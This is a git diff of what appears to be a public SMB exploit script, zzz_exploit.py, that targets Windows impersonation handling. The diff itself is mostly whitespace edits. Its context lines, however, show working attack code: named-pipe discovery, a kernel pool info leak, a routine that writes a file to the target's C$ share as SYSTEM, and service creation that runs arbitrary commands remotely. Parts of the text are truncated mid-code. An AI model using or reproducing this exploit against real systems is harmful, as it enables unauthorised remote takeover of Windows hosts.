diff --git a/zzz_exploit.py b/zzz_exploit.py index 46f8ead..e9f5996 100644 --- a/zzz_exploit.py +++ b/zzz_exploit.py @@ -87,7 +87,7 @@ struct SrvSecContext { } SrvImpersonateSecurityContext() is used in Windows Vista and later before doing any operation as logged on user. -It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. +It called PsImperonateClient() if SrvSecContext.UsePsImpersonateClient is true. From https://msdn.microsoft.com/en-us/library/windows/hardware/ff551907(v=vs.85).aspx, if Token is NULL, PsImperonateClient() ends the impersonation. Even there is no impersonation, the PsImperonateClient() returns STATUS_SUCCESS when Token is NULL. @@ -287,7 +287,7 @@ def wait_for_request_processed(conn): def find_named_pipe(conn): pipes = [ 'browser', 'spoolss', 'netlogon', 'lsarpc', 'samr' ] - + tid = conn.tree_connect_andx('\\\\'+conn.get_remote_host()+'\\'+'IPC$') found_pipe = None for pipe in pipes: @@ -297,7 +297,7 @@ def find_named_pipe(conn): found_pipe = pipe except smb.SessionError as e: pass - + conn.disconnect_tree(tid) return found_pipe @@ -308,7 +308,7 @@ def reset_extra_mid(conn): global extra_last_mid, special_mid special_mid = (conn.next_mid() & 0xff00) - 0x100 extra_last_mid = special_mid - + def next_extra_mid(): global extra_last_mid extra_last_mid += 1 @@ -324,7 +324,7 @@ def leak_frag_size(conn, tid, fid): # this method can be used on Windows Vista/2008 and later # leak "Frag" pool size and determine target architecture info = {} - + # A "Frag" pool is placed after the large pool allocation if last page has some free space left. # A "Frag" pool size (on 64-bit) is 0x10 or 0x20 depended on Windows version. # To make exploit more generic, exploit does info leak to find a "Frag" pool size. @@ -332,7 +332,7 @@ def leak_frag_size(conn, tid, fid): mid = conn.next_mid() req1 = conn.create_nt_trans_packet(5, param=pack(' 4: @@ -897,7 +896,7 @@ def exploit(target, pipe_name): # ================================ # do whatever we want as SYSTEM over this SMB connection - # ================================ + # ================================ try: smb_pwn(conn, info['arch']) except: @@ -920,13 +919,13 @@ def exploit(target, pipe_name): def smb_pwn(conn, arch): smbConn = conn.get_smbconnection() - + print('creating file c:\\pwned.txt on the target') tid2 = smbConn.connectTree('C$') fid2 = smbConn.createFile(tid2, '/pwned.txt') smbConn.closeFile(tid2, fid2) smbConn.disconnectTree(tid2) - + #smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py') #service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt') # Note: there are many methods to get shell over SMB admin session @@ -943,7 +942,7 @@ def service_exec(conn, cmd): import random import string from impacket.dcerpc.v5 import transport, srvs, scmr - + service_name = ''.join([random.choice(string.letters) for i in range(4)]) # Setup up a DCE SMBTransport with the connection already in place @@ -955,7 +954,7 @@ def service_exec(conn, cmd): print("Opening SVCManager on %s....." % conn.get_remote_host()) resp = scmr.hROpenSCManagerW(rpcsvc) svcHandle = resp['lpScHandle'] - + # First we try to open the service in case it exists. If it does, we remove it. try: resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00') @@ -966,11 +965,11 @@ def service_exec(conn, cmd): # It exists, remove it scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle']) scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle']) - + print('Creating service %s.....' % service_name) resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00') serviceHandle = resp['lpServiceHandle'] - + if serviceHandle: # Start service try: @@ -982,7 +981,7 @@ def service_exec(conn, cmd): #scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP) except Exception as e: print(str(e)) - + print('Removing service %s.....' % service_name) scmr.hRDeleteService(rpcsvc, serviceHandle) scmr.hRCloseServiceHandle(rpcsvc, serviceHandle)